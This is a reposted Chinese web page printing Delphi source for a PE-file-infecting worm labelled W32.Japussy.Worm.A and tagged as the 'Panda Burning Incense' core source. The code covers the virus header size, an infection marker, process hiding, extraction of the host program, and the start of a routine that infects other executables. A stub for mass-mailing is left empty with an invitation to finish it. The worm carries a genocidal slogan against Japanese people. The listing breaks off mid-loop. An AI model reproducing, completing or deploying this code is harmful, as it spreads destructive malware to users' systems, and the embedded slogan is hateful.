代码:--------------------------------------------------------------------------------
程序代码
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
来源:www.upschool.com.cn
作者:fantasy
关键字：熊猫烧香,核心源码
发表日期：2007-2-8 20:26:13
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2008-10-16 4:22:05
